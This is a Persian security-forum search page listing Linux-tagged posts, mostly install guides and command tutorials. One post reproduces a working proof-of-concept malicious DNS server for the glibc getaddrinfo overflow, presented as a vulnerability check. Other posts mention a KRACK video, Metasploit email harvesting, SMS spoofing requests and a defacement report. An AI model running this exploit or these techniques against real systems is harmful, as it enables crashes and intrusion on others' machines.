جستجو در تالار

در حال نمایش نتایج برای برچسب های 'linux'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


Product Groups

  • بسته های آموزشی
  • ارتقا به کاربر ویژه

تالار ها

  • اخبار و اعلانات انجمن گاردایران
    • قوانین و اطلاعیه های سایت
    • بخش مسابقات انجمن
    • انتقادات و پیشنهادات
    • افتخارات و اطلاعیه های تیم گارد ایران
    • بخش ارتقاء کاربران
    • اخبار هک و امنیت
    • اکسپلویت های ثبت شده توسط تیم امنیتی گارد ایران
    • برنامه ها و ابزارهای نوشته توسط گارد ایران
  • بخش های خصوصی انجمن گاردایران
    • سوال و جواب های عمومی
    • بخش خصوصی
    • آموزش های تصویری نفوذ به سیستم های شخصی و روشهای مقابله
  • انجمن نفوذ و امنیت
    • آموزش های تصویری
    • آموزش های تصویری سایت ها و سرورها و روشهای مقابله
    • آموزشهای تصویری شبکه و روشهای مقابله
    • حملات شبکه و راههای مقابله
    • DOS , DDOS
    • ویروس ها و تروجان ها
    • متاسپلویت Metasploit
    • ابزارهای امنیتی
    • بخش کرک و رمزنگاری
    • Shell Script
    • آسیب پذیری های وایرلس
    • اکسپلویت
    • باگ های امنیتی
    • امنیت ایمیلهای شخصی
    • تارگت های تمرینی
    • اسکنرها و ابزارهای هکینگ
  • برنامه نویسی
    • برنامه نویسی
    • برنامه نویسی تحت وب
  • بخش موبایل
    • بخش مخصوص موبایل
    • هک موبایل
  • شبکه
    • Cisco سیسکو
    • نتورک پلاس Netwok+
    • مایکروسافت Microsoft
    • میکروتیک Mikrotik
    • مجازی سازی
    • ابزارهای شبکه و مانیتورینگ
    • فایروال
  • سیستم عامل
    • لینوکس
    • ویندوز
    • کالی لینوکس Kali Linux
    • مکینتاش
  • الکترونيک و روباتيک
    • الکترونيک
    • ميکروکنترلرها و پروسسور ها
    • نرم افزار هاي تخصصي برق و الکترونيک
    • روباتيک
  • گرافيک
    • فتوشاپ
    • فلش
  • متفرقه
    • بحث آزاد

دسته ها

  • ویدیوهای آموزشی

جستجو در ...

جستجو به صورت ...


تاریخ ایجاد

  • شروع

    پایان


آخرین به روز رسانی

  • شروع

    پایان


فیلتر بر اساس تعداد ...

تاریخ عضویت

  • شروع

    پایان


گروه


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


محل سکونت


Interests

30 نتیجه پیدا شد

  1. آموزش ساده ای هست و مفهوم krack رو به راحتی به بیننده نشون میده. حمله خطرناک krack این هست که بدون داشتن پسورد یک مودم و ورود به شبکه داخلی بین موبایل و مودم، بتونید ببینید موبایل چه اطلاعاتی رو داره از طریق مودم ردوبدل میکنه. آموزش به زبان انگلیسی و استفاده شده از محیط های شبیه سازی اندروید دانلود شده از Youtube رمز عبور: guardiran.org KRACK Attacks- Bypassing WPA2 against Android and Linux - YouTube.part1.rar KRACK Attacks- Bypassing WPA2 against Android and Linux - YouTube.part2.rar KRACK Attacks- Bypassing WPA2 against Android and Linux - YouTube.part3.rar KRACK Attacks- Bypassing WPA2 against Android and Linux - YouTube.part4.rar
  2. درود آموزش نصب کالی لایو ( به کمک ابزار / کامند از طریق سیستم لینوکسی ) - نسخه لایو چیست ؟ بسیاری از ابزار های عیب یابی هارد ، .... و سیستم عامل ها در کنار نسخه اصلی یک توزیع لایو / بوتیبل نیز ارائه میدند که این نسخه های لایو درون یک Removable Device چون فلش مموری ، دیسک و .... نصب میگردد . نسخه لایو پس از بوت شدن درون حافظه رم که یک حافظه فرار هست اجرا شده و برای اجرا شدن تغییری بروی هارد ایجاد نکرده - و اما هدف از این توزیع چیه ؟ نسخه لایو یک نسخه کم حجم از سیستم عامل اصلیه که به راحتی میتونید روی فلش مموریتون ست و اونو حمل کنید ! اکثر این توزیع ها Read Only بوده و پس از رستارت سیستم از حافظه رم پاک گشته و همه چی به حالت اول نسخه لایو برگشته ; و اما بعضی از این نسخه های لایو که موضوع اصلی این آموزش هست دارای آپشن USB Presistence هست USB Presistence یک نسخه لایو با قابلیبت Read and Write رو برای کاربر فراهم میکنه در این آموزش به برسی نسخه لایو کالی لینوکس میپردازیم : * نسخه لایو * نسخه لایو با قابلیت USB Presistence در زیر ابزاری رو پیوست میکنم که به کمک اون میتونید از طریق سیستم عامل ویندوزی خودتون بعد از انتخاب کردن USB Drive مورد نظر ، انتخاب فایل ISO (linux Live 2016) و تعیین فضای داده ی پایدار (Presistence) به راحتی USB Drive خودتون رو به یک لینوکس بوتیبل تبدیل کنید همینطور در ادامه آموزش ، دستوراته لینوکس بیسی رو ارائه میدم که با استفاده از اون دستورات میتونید از طریق سیستم عامل لینوکسی خود لینوکس لایو رو بر روی فلش مموری خودتون ست کنید ; و اقدام به اختصاص حافظه ی پایدار (Presistence) کنید . پسورد فایل : guardiran.org LinuxLive USB Creator 2.9.4.rar
  3. نگارش 1.0.0

    7 دریافت

    بسم الله الرحمن الرحیم با سلام پکیج آموزشی کالی لینوکس تماماً توسط تیم گارد ایران تهیه شده و تمامی آموزش ها همراه با مثال برای شما عزیزان ضبط شده. ویدو ها از کیفیت بالا برخوردار هستن و در کنار آموزش کالی لینوکس ، آموزش های دیگری هم قرار داده شده. مثل : آشنایی با دستورات لینوکسی ، برنامه نویسی در کالی لینوکس ، بش نویسی ، ابزارهای مورد نیاز در آموزش ها و... توضیحات: این پکیج بیش از 100 آموزش تصویری همراه با ابزار های مورد نیاز هست که حجم فشرده نشده این پکیج حدود 4 گیگابایت است. حجم فشرده شده و آپلود شده در انجمن 380 مگابایت است. این پکیج در کمترین زمان از شما یک حرفه ای لینوکس میسازه😎

    600٬000 ریال

  4. سلام. من دو روزی هست که ubuntu 17.10 رو بر روی oracle virtual box نصب کردم ولی وای فایمو نمیشناسه و پیدا نمیکنه و میخوام از خود سیستم عامل لینوکس به وای فای های اطراف متصل شم نه از ویندوز 10 . و اینکه در حالت live وای فایمو میخونه ولی در virtual box پیدا نمیکنه ؟!؟؟!! میخواستم بدونم چیکار کنم واقعا بهش احتیاج دارم ؟؟؟؟؟؟؟ یک راه هم تست کردم که ارشیو compat wireless بود ولی موقع کد make مشکل پیش میاد ارور در عکس?. لطفا کمک کمک !!!؟؟؟؟؟؟؟؟ ممنون.
  5. TREANT-PROTECTOR

    با سلام در این تایپیک آموزش های ترمینال لینوکس قرارداده خواهد شد قوانین : اسپم ممنوع پرسش و پاسخ ممنوع
  6. mownten

    با سلام خدمت دوستان عزیز امروز با سیستم عامل جدیدی آشنا شدیم به نام Parrot 3.9 GNU/Linux (کلمه Parrot یعنی طوطی) که یک پلتفرم مبتنی بر Debian هست. این سیستم عامل، ابزار حرفه ای برای تست نفوذ، توسعه نرم افزار و حفاظت از حریم خصوصی رو در خودش جا داده و میشه گفت که یک توزیع مربوط به هک اخلاقی (Ethical Hacking) و تست نفوذ با ویژگی های جدید می باشد: لینک ها: صفحه اصلی انجمن پروت دانلود توی صفحه دانلود با سه نوع مختلفی از بیلد های سیستم عامل مواجه می شید که بطور خلاصه دربارش توضیح میدم: یک : Full (security) mode : نسخه فول این سیستم عامل بقول سازنده یک محیط جامع در خصوص تست نفوذ، حریم خصوصی، مهندسی معکوس، توسعه نرم افزار، جمع اوری اطلاعات و غیره هست. نسخه های 32 بین و 64 بیت با فرمت ISO در صفحه دانلود موجود هست. دو: Lite (Home/Workstation) mode : این بیلد نسخه ی سبک سیستم عامل برای استفاده روزانه و حفاظت از حریم خصوصی منتشر شده و بیشتر مدنظر کاربران عادی خواهد بود. در صفحه دانلود جدول مقایسه ای ویژگی های نسخ مختلف این سیستم عامل رو میتونید ببینید.تصاویری از سیستم عامل:
  7. mownten

    با عرض سلام خدمت دوستان توی این پست قصد دارم توضیحات مختصری رو در خصوص ابزار Trity ارائه بدم. Trity به ادعای نویسنده ش و برخی وبسایت های معرفی نرم افزار یه ابزار پیشرفته تست نفوذ مبتنی بر لینوکس هست که برای هرکاری از تست آسیب پذیری تا اسپوفینگ تا مسائل مربوط به رمزنگاری رو پوشش میده. تو محیط کالی، ترمینال رو باز کنید و از این کد برای نصب تریتی استفاده کنید: git clone https://github.com/toxic-ig/Trity.git بعد از دانلود، به پوشه تریتی مراجعه کنید. (برای این کار بنویسید LS و اگر توی نتیجه اسم پوشه رو دیدی بنویسید : cd trity بعد از ورود به پوشه بنویسید : sudo python install.py از اونجا که ابزار تریتی دارای یک سری وابستگی ها (Dependencies) هست، این دستور باعث میشه که کالی وابستگی ها و پیش نیازها رو بررسی کنه و اگر هم نصب نبودند، شروع میکنه به دانلود اونها. اگر در آینده فریمورک دیگه ای هم مورد نیاز باشه دانلود میکنه. بعد از اینکه این مراحل تموم شد، اسم برنامه رو بنویسید و اینتر کنید: trity نکته هم اینکه اگر در زمان نصب این ابزار با خطای import مثل خطای ImportError: No module named mechanize مواجه شدید، از این کد برای حل مشکل و نصب magazine استفاده کنید: sudo apt-get install python-mechanize فایل zip این ابزار هم با پسورد guardiran.org پیوست کردم اما سعی کنید دستی نصبش کنید تا با تایپ کردن کد حل مسایل توی ذهنتون بمونه. تصویری از محیط نرم افزار : Trity-master.zip
  8. سلام به دوستان. خوب همونطور که از عنوان پست فهمیده میشه نسخه 2016.2 کالی لینوکس منتشر شد. در این نسخه از کالی لینوکس یکسری از باگ های و مشکلات گرافیکی و سازگاری های کالی لینوکس حل شده و محیطی جذاب رو برای کاربران ایجاد کرده. هر چه سریعتر پیشنهاد میکنم کالی لینوکستون رو آپدیت کنید تا از آخرین ویرایش این سیستم عامل استفاده کنید. دانلود انواع نسخه ها و ویرایش های کالی لینوکس 2016.2 از سایت رسمی کالی لینک دانلود موفق باشید
  9. سلام آموزش نصب انواع سیستم عامل لینوکس بر روی گوشی اندروید در راستای تلاش سازندگان لینوکس در جهت افزایش کاربران سیستم عاملشون لینوکس دیپلوی (Linux Deploy) رو ساختند. یه جورایی تو مراحل اولیه هستش . همه ی فایل های مورد نیاز در پیوست موجوده. 1. یکی از طریقه های نصب لینوکس روی گوشی اندروید استفاده از Linux Deploy میباشد که سادست اما دسترسی روت میخواد. *پس در قدم اول باید گوشی روت باشه. *بعد از روت کردن مراحل زیر رو ادامه بدین: 2. نرم افزار لینوکس دیپلوی (Linux Deploy) رو نصب کنید. بعد از نصب نرم افزار رو اجرا کنید و برید به قسمت Config که در بالا <...> رو بزنین میبینین. *در قسمت Config با زدن Distribution نوع لینوکس مورد نظر رو انتخاب کنید. *Linux Deploy از نسخه های مختلف لینوکس پشتیبانی میکنه مثله : Kali , Debain, Ubuntu. *از قسمت Installation path مسیر ایجاد فایل img رو تعیین کنید (به طور پیشفرض روی حافظه خارجی ایجاد میشه که ایرادی هم نداره). * یکم پایین تر گزینه های SSH و VNC رو فعال کنید که برای دست رسی به محیط گرافیکی و ست کردن ترمینال با لینوکس آماده باشه. در نهایت install رو بزنید و صبر کنید که دانلود و نصب تموم شه (به نت کانکت باشید). 3.نرم افزار Terminal Emulator رو نصب و اجرا کنید : * بعد از اجرا دستور رو به رو رو وارد کنید تا SSH کانکشن از ترمینال داشته باشیم : username@ipaddress بعد از @ به جای ipaddress داخل نرم افزار Linux Deploy اون بالا ip تون رو نشون میده، وارد کنید. به جای username هم یوزرنیمی که در قسمت config میتونین تغییر بدین رو وارد کنید که به صورت پیشفرض kali هست الان ترمینال آمادس واسه استفاده با Command های لینوکس. 4.نرم افزار VNC Viewer رو برای مشاهده محیط گرافیکی لینوکس نصب کنید. با زدن علامت + اون پایین به جای Address وارد کنید localhost. و به جای name هرچی میخواین وارد کنید. با زدن connect به محیط گرافیکی وصل خواهید شد. بعد از اون از شما پسورد میخواد که پسورد پیشفرض changeme هست که با وارد کردن کامند : sudo passwd root میشه اون رو به root تغییر داد. در نهایت برای افزایش سرعت محیط نسبتا کند دستور زیر رو در ترمینال وارد کنید : dsl toram noacpi noapm noscsi dma سوالی بود بپرسین. d0kt0r Linux-Deploy-1.5.1[Androidiha.Com].apk VNC-Viewer-3.1.0.025890(FarsRoid.Com).apk Better_Terminal_Emulator_Pro_v4.03.apk
  10. با سلام ودرود به تمامی عزیزان این تاپیک رو زدم وگفتم همه اون اوموزشهایی که توی برچسب این پست هس رو بذارم اما از تمامی دوستان خواهشمندم در این تاپیک هیچ چیزی ننتویسن بنده ممنون میشم از همه شما تا اسپم نشه من توی یکی از موئسسه های ازاد تدریس میکنم این پستم برا این گذاشتم که توی یکی از کلاسها دیدم یکی از دانشجو ها چون امنیت دوس دارن رفتن پول قرض گرفتن تا این دوررو تموم کنن فلذا دیدم کسایی که از نظر مالی نمیتونن دوره های بسیاری رو ببینن ایجاد کردم همه آموزشها تصویری بوده و همه فایلها هم ضمیمه ودر بعضی موارد هم شاید پی دی اف هم گذاشتم هر اموزش با عنوانی اغاز میشه م تا تموم نشده بعدی شروع نمیشه راستی باز یادم رفته بود ویرایش کردم بعضی اموزشها اگر به صلاح تیم نبود پاک میشه اما در هر حال من میذارم چون نیازه که دوستان حداقل تا پاک کردن ببینن
  11. KingSlayer

    درود من تو سایت گشتم ولی آموزشی از wget ندیدم ولی شما خوش شانسین چون منو دارین که میخوام آموزش بدم خب wget یه ابزار قوی جهت دانلود فایل ها از اینترنت لینوکس (و البته دیگر سیستم عامل ها) هست البته میشه کل سایت رو هم دان کرد ولی اعصاب میخواد.... 1- خب ساده ترین دستوری که میتوان گفت این هست: wget 'download link' که url مورد نظر رو دانلود میکنه و در دایرکتوری جاری ذخیره میشه. 2- معمولا wget اسم فیل رو همون url فایل در نظر میگیره مگر اینکه ما براش اسم بزاریم: wget -O filename.exe 'download link' هرچی جلوی O- باشه اسم و فرمت فایل در نظر گرفته میشه 3- اگه یهو اینترنت قطع شد دیگه لازم نیس ناراحت بشید چون wget برا این هم چاره داره تا دانلود ناتمام رو ادامه بده: wget -c 'download link' 4- بعضی سایت های صاحب مرده اجازه نمیدن شما بدون مرورگر فایل رو دانلود کنید مگر اینکه wget داشته باشید: wget --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" 'download link' 5- برای افزایش تعداد سعی ها برای وصل شدن رو افزایش بدید از این دستور مصرف کنید: wget --tries=75 'download link' 6- اگه چند تا فایل برا دانلود دارید ولی حال ندارید تک تک بزنید دان بشه url همشونو بزنید تو فایل txt و: wget -i 'urls-file.txt' جلوی i- باید دایرکتوری فایل حامل لینک هرو بزنید. 7- برای دانلود کامل یک سایت و ذخیره آن به صورت سند محلی قابل استفاده از کد زیر بهره ببرید: wget --mirror -p --convert-links 'link of web site' mirror تمام تنظیمات رو برای mirroring انجام میده p تمام فایل های لازم برای نشان دادن کامل صفحه html رو دانلود میکنه تا فقط html basic نباشه convert-links هم برای تبدیل کردن به سند استفاده میشه 8- دانلود نکردن فایل های سایت با فرمت های معین شده: wget --reject=gif 'link of website' این وقتی به درد میخوره که میخواین یه سایت رو دانلود کنید ولی نمیخواین gif های موجود درسایت دان بشه بجای gif میتونید mp3 , jpg و باقی فرمت هارو بزارید. 9-دانلود همه فایل های سایت با فرمت معین: wget -r -A.mp3 'url of site with mp3' تو اینجا تمام آهنگ های سایت با فرمت mp3 دانلود میشه. 10- دانلود از ftp با wget : wget ftp-url خیلی ساده شد این همین دیگه این ده تا مفید ترین ها هستن ولی امکانات خییییلی زیادی داره wget که زیاد به درد بخور نیستن تشکر نشه فراموش......
  12. با سلام خدمت تمامی همراهان عزیز چون آموزش تصویری و آپلود کردن تصاویر در وب سایت و چیدمان سخت و دشوار است یک وب سایت به شما معرفی کردم.با این سیستم عامل میتونید به انجام تست نفوذ و محک زدن امنیتسیستم گوشی و حتی سرور ها بپردازید!!! http://day.ir/articles/virtualmachine/Kali-Linux بفرمایین اگه استفاده کردین تشکر کنین.
  13. با ســــلام تو این بخش تا حد مبتدی کار با لینوکس رو یاد میگیریم ابتدا از یک سری اصطلاحات و تفاوت های سرور های لینوکس و ویندوز و معرفی محیط های گرافیکی شروع میکنیم تا برسیم به کار با اس اس اچ SSH و خط فرمان Terminal و ... سر فصل ها : - اصطلاحات و آشنایی ها - تفاوت های سرور های لینوکس و ویندوز ( Linux Server , Windows Server ) - معرفی محیط های گرافیکی - آموزش کار با SSH - آموزش مقدماتی دستورات ( خط فرمان ) بخش اول Linux's Primary Explain and Phrases سرور: سرور یه کامپیوتری است که ما اطلاعات رو بهش میدیم یا ازش میگیریم و این کامپیوتر همیشه روشنه و با سرعت خیلی بالایی در حال پردازش اطلاعات ماست . دیتاسنتر : یه ساختمون که سرور ها تو اون نگه داری میشوند و یه سری افراد به طور دائم از این سرور ها مراقبت میکنند . در این ساختمان ها عموما از برق اضطراری استفاده میکنند تا جلوی خاموش شدن دستگاه هارو بگیرند سرور وی پی اس Virtual Private Server یا سرویس های اختصاصی مجازی ، نوعی میزبانی وب است و شیوه ای است که در آن یک سرور به چند قسمت تقسیم شده و هر قسمت به عنوان یک سرور مجازی میتونه مثل یک سرور اختصاصی عمل کنه. SSH فقط در سرورهای لینوکسی که ما اسمشو میشنویم در واقع یه پل ارتباطی به صورت غیر گرافیکی با محیط کد نویسی بین سرور و کامپیوتر شماست. در نظر داشته باشید که سرورهای لینوکسی هم محیط گرافیکی دارند ولی خب برای این که رم مصرفش کمتر شه از کد نویسی استفاده میکنند HostName نام سرور لینوکسی شماست که گاهی اوقات در زمان خرید وی پی اس با ان برخورد میکنید برای مثال : server.domain.com server.guardiran.org کرنل چیست ؟ کرنل همان هسته ی سیستم عامل شما میشه مجازی ساز چیست؟ مجازی ساز در واقع یه سری از نرم افزارها هستند که میان سرور های مجازی مختلفی رو، روی سرور ما ایجاد میکنند برای مثال نرم افزار هایی مثل : VMWare Xen بخش اول تمام شد , امیدوارم مفید واقع شده باشه
  14. سلام یکی از اولین اقدامات در انجام تست نفوذ :جمعاوری اطلاعات هست که در این اموزش شما رو با روش جمع اوری ایمیل های یک سایت با استفاده از ابزار متااسپلویت در کالی اشنا میکنیم. Password : Guardiran.org Email+meta.rar
  15. proxy

    به توکل نام اعظمت یکی از مشکلاتی که بسیاری از دوستان با اون رو به رو میشن خراب شدن گراب لینوکس بعد از نصب ویندوز هست امروز روشی ساده برای ترمیم گراب رو بهتون آموزش میدم گراب یک boot loader هست که این boot loader اولین چیزی هست که بعد از روشن کردن بالا میاد و به شما این امکان رو میده که از بین چنیدن سیستم عاملی که دارید یکی رو انتخاب کنید ولی این مشکل پیش میاد که ویندوز این امکان رو نداره و در نتیجه boot رو پاک میکنه و نتیجه این میشه که شما دیگه به سیتم عاملهای دیگه دسترسی ندارید خوب بریم سراغ حل مشکل: اول برنامه boot-repair-disk رو از سایت زیر دانلود کنید https://sourceforge.net/projects/boot-repair-cd/files/ بعد اون رو در یک cd رایت و از طریق boot بالا بیارید و بر روی گزینه recommended repair کلیک کنید و منتظر باشید بعد از پایان کار سیستم را ریست کنید موفق باشید
  16. وقتی که با واژه hacking و هک کردن مواجه می شویم ، به این نکته پی میبریم که امنیت ۱۰۰٪ نیست. این همان اتفاقی است که برای سیستم عامل Kali لینوکس از توزیع های BackTrack که برای تست نفوذ استفاده می شود رخ داده است. به گزارش آی تی اس ان (پایگاه خبری امنیت فناوری اطلاعات) ،چند روز پیش گروه هکری TGT یا The GreaT TeAm از لیبی زیردامنه lists.kali.org مربوط به وب سایت رسمی سیستم عامل Kali linux را هک و دیفیس کرد. این گروه در صفحه دیفیس خود عبارت “Hacked By The GreaT TeAm –TGT” را درج کردند. براساس گزارش هکرنیوز هاستینگ زیر دامنه lists.kali.org سایت mailmanlist.net می باشد که به ادعای هکرهای لیبیایی این سایت دارای آسیب پذیری Heartbleed بوده است. آنها توضیح داده اند که پس از بررسی کوکی های به سرقت رفته از سایت mailmanlist.net ، از آسیب پذیری Heartbleed موجود در لیست پستی کایلی لینوکس توانسته است به حساب کاربری سایت دسترسی پیدا کنند. لینک اثبات در zone_h http://www.zone-h.org/mirror/id/22278878?zh=1
  17. SHADOW-hacker007

    با سلام. امروز اسکریپتی اوردم که میتوان تست کرد ایا سیستم شما باگ glibc دار دارد یا نه ؟؟ توجه:این اسکریپت فقط برای لینوکس هست!! این اسکریپت به دو زبان C & Python نوشته شده است. C: #include <sys/socket.h> #include <netdb.h> #include <err.h> #include <stdio.h> #include <string.h> int main(void) { struct addrinfo hints, *res; int r; memset(&hints, 0, sizeof(hints)); hints.ai_socktype = SOCK_STREAM; if ((r = getaddrinfo("foo.bar.google.com", "22", &hints, &res)) != 0) errx(1, "getaddrinfo: %s", gai_strerror(r)); return 0; } Python: import socket import time import struct import threading IP = '127.0.0.1' # Insert your ip for bind() here... ANSWERS1 = 184 terminate = False last_reply = None reply_now = threading.Event() def dw(x): return struct.pack('>H', x) def dd(x): return struct.pack('>I', x) def dl(x): return struct.pack('<Q', x) def db(x): return chr(x) def udp_thread(): global terminate # Handle UDP requests sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_udp.bind((IP, 53)) reply_counter = 0 counter = -1 answers = [] while not terminate: data, addr = sock_udp.recvfrom(1024) print '[UDP] Total Data len recv ' + str(len(data)) id_udp = struct.unpack('>H', data[0:2])[0] query_udp = data[12:] # Send truncated flag... so it retries over TCP data = dw(id_udp) # id data += dw(0x8380) # flags with truncated set data += dw(1) # questions data += dw(0) # answers data += dw(0) # authoritative data += dw(0) # additional data += query_udp # question data += '\x00' * 2500 # Need a long DNS response to force malloc answers.append((data, addr)) if len(answers) != 2: continue counter += 1 if counter % 4 == 2: answers = answers[::-1] time.sleep(0.01) sock_udp.sendto(*answers.pop(0)) reply_now.wait() sock_udp.sendto(*answers.pop(0)) sock_udp.close() def tcp_thread(): global terminate counter = -1 #Open TCP socket sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_tcp.bind((IP, 53)) sock_tcp.listen(10) while not terminate: conn, addr = sock_tcp.accept() counter += 1 print 'Connected with ' + addr[0] + ':' + str(addr[1]) # Read entire packet data = conn.recv(1024) print '[TCP] Total Data len recv ' + str(len(data)) reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) print '[TCP] Request1 len recv ' + str(reqlen1) data1 = data[2:2+reqlen1] id1 = struct.unpack('>H', data1[0:2])[0] query1 = data[12:] # Do we have an extra request? data2 = None if len(data) > 2+reqlen1: reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) print '[TCP] Request2 len recv ' + str(reqlen2) data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] id2 = struct.unpack('>H', data2[0:2])[0] query2 = data2[12:] # Reply them on different packets data = '' data += dw(id1) # id data += dw(0x8180) # flags data += dw(1) # questions data += dw(ANSWERS1) # answers data += dw(0) # authoritative data += dw(0) # additional data += query1 # question for i in range(ANSWERS1): answer = dw(0xc00c) # name compressed answer += dw(1) # type A answer += dw(1) # class answer += dd(13) # ttl answer += dw(4) # data length answer += 'D' * 4 # data data += answer data1_reply = dw(len(data)) + data if data2: data = '' data += dw(id2) data += 'B' * (2300) data2_reply = dw(len(data)) + data else: data2_reply = None reply_now.set() time.sleep(0.01) conn.sendall(data1_reply) time.sleep(0.01) if data2: conn.sendall(data2_reply) reply_now.clear() sock_tcp.shutdown(socket.SHUT_RDWR) sock_tcp.close() if __name__ == "__main__": t = threading.Thread(target=udp_thread) t.daemon = True t.start() tcp_thread() terminate = True
  18. با سلام چجور میشه در کالی sms ارسال کرد
  19. a.a.a

    با سلام وخسته نباشید میشه چند تا اکسپیولت واسه هک کردن گوشی رو بدید که در کالی مورد استفاده باشه و کارش رو توضیح بدید
  20. با سلام طبق این ویدیو http://www.aparat.com/v/pjtr6/%D8%A7%D8%B1%D8%B3%D8%A7%D9%84_%D8%A7%D8%B3%D9%85_%D8%A7%D9%85_%D8%A7%D8%B3_%D8%AE%DB%8C%D8%A7%D9%84%DB%8C_%D8%AF%D8%B1_kali_linux من مشکلی دارم اینه که sms spoofing رو نداره حالا باید چیکار بکنم تا مشکلم حل بشه
  21. TREANT-PROTECTOR

    در لینوکس یک مفهوم مهم هست که در دو جا استفاده می شود یکی کاربرROOT و یکی هم دایرکتوری ROOT . هنگامی که لینوکس را نصب می کنید شما حداقل دو تا کاربر را پس از نصب خواهید داشت. یکیROOT که سیستم آنرا خودکار می سازد و دیگری کاربری که خودتان تعریف می کنید.دایرکتوری ROOT که با علامت / در سیستم فایل نشان داده خواهد شروع و مبدا تمامی دیگر دایرکتوری هاست. کاربر ROOT که آنرا کاربر ریشه , مدیر و یا SUPER USER نیز می نامند دسترسی کامل به سیستم عامل لینوکس دارد می تواند برنامه هایی را نصب و یا حذف کند و یا اینکه مجوز ها را تغییر دهد و بطور کل بر تمام سیستم نظارت دارد.اما چرا با وجود کاربر ریشه چرا باید یک کاربر دیگر ساخت؟پاسخش این است که همانطور که گفته شد کاربر ریشه دسترسی کامل به سیستم را دارد و استفاده نادرست از امتیازات این کاربر بعاث خواهد شد که به سیستم صدمه وارد شود.پس بهتر این است که با یک کاربر معمولی به سیستم وارد شویم و برای کارهای مهم و سیستمی با دستور هایی مانند SU و SUDO بعنوان کاربر ریشه عمل کنیم.(این دو دستور همان مفهوم و کاربرد RUNAS در ویندوز هستند) مشخصات کاربر ریشه چیست ؟ این کاربر دارای نام کاربری ROOT با USER ID عدد 1 و عضو اصلی و اولین عضو گروه ROOT با GROUP ID عدد 1 است که البته می توان دیگر اعضای سیستم را به گروه ROOT اضافه کرد.دایرکتوری خانگی آن بر خلاف دیگر کاربران که در مسیر HOME/ است دایرکتوری خانگی آن در مسیر ROOT/ است.کاملان به سیستم دسترسی دارد و بر تغییرات دیگران نیز می تواند دسترسی داشته باشد. مثلن اگر کاربر معمولی USER1 فایلی را ایجاد کند یک کاربر معمولی دیگر نمی تواند آنرا پاک کند اما کاربر ریشه این کار را می تواند انجام دهد. در برخی از توزیع های لینوکسی مانند RHLE در هنگام نصب شما حتمن باید یک گذرواژه برای کاربر ریشه تعیین کنید اما در توزیع هایی مانند ابونتو این کار را انجام نمی دهید. در این صورت سیستم همان گذرواژه ای که شما برای نام کاربری خودتان تعریف کردید را هم برای کاربر ریشه در نظر می گیرد.حتمن توجه کنید که پس از ورود به سیستم با دستور های زیر اقدام به ایجاد یک گذرواژه جدید برای کاربر ریشه بکنید. تفاوت دیگر کاربران معمولی با کاربران ریشه در تفاوت میان مسیرهای دایرکتور های حاوی دستور هاست. در لینوکس برای هر کاربر یک متغیر به نام PATH وجود دارد که سیستم عامل این مسیرها را برای پیدا کردن دستور جستجو می کند.فرض کنید یک کاربر یک دستور را اجرا می کند و سیستم پیغامی نشان می دهد که دستور پیدا نشد دلیل ولی این دستور برای کاربر ریشه اجرا می شود. دلیل آن این نیست که این برنامه نصب نشده است بلکه دلیلش این است که برنامه نصب شده اما در دایرکتوری وجود دارد که مسیر آن فقط در متغیر PATH کاربر ریشه وجود دارد و وقتی سیستم متغیر PATH یک کاربر معمولی را برای یافتن مسیر ها بررسی می کند مسیر منتهی به آن دستور را پیدا نمی کند. فرض کنید یک کاربر معمولی دستور LS را می زند و بدون هیچ پیام خطایی خروجی را می بیند و کاربر ریشه هم این دستور را اجرا می کند و خروجی را می بیند. اما وقتی یک کاربر معمولی دستور ADDUSER را می زند و یک پیغام خطای برای عدم داشتن مجوز دریافت می کند ولی کاربر ریشه به راحتی دستور را اجرا می کند. برخلاف بالا کاربر خطای یافت نشدن دستور را مشاهده نکرد بلکه عدم داشتن مجوز اجرایی دلیل اجرا نشدن دستور بود. در این حالت مسیر دستور ADDUSER در متغییر PATH هردوکاربر ریشه و معمولی است اما تنها کاربر ریشه مجوز اجرا EXECUTE را دارد
  22. R3dC0d3r

    پایتون که یک زبان برنامه نویسی محبوب می باشد،باعث شده است تا دوستداران و برنامه نویسان این زبان برنامه نویسی برای دومین بار کنفرانس پایتون را برگزار کنند. کنفرانس پایتون محلی برای اجتماع تمامی متخصصان و علاقه‌مندان به زبان‌برنامه‌نویسی پایتون از سراسر ایران می باشد و یک رویداد منحصر به فرد است که در آن علاقه‌مندان و متخصصان در یک روز گردهم می‌آیند تا دانش خود را با یکدیگر به اشتراک بگذارند. در این روز متخصصان به ارایه مطالب متنوع در زمینه‌ی پایتون به صورت تئوری و عملی می‌پردازند. دومین کنفرانس پایتون در تاریخ ۱۱-۰۲-۱۳۹۴ برگزار خواهد شد که برای اطلاعات بیشتر در زمینه ی ثبت نام،ارسال مقاله و سایر موارد می توانید به وب سایت رسمی کنفرانس پایتون مراجعه نمایید.
  23. سلام اموزش دستورات لینوکس(linux) اوبونتو ubuntu رو براتون گذاشتم و این دستورات از دستورات بسیار مهم در لینوکس هست و برای اموزش لینوکس خیلی کمکتون میکنه. کم هستش ولی مفیده . موفق باشید پسورد: guardiran.org linux.zip
  24. درود با این دستور شما میتوانید لیست 10 آدرس ( IP ) که بیشترین درخواست را به ( Apache ) ارسال کرده اند را ببینید . این دستور آدرسهای ( IP ) که بیشترین درخواست را به وب سرور داده اند همراه با تعداد درخواستها به شما نمایش میدهد. awk '{print $1}' /usr/local/apache/logs/access_log | sort | uniq -c | sort -rnk1 | head -n 10
  25. *diamond*

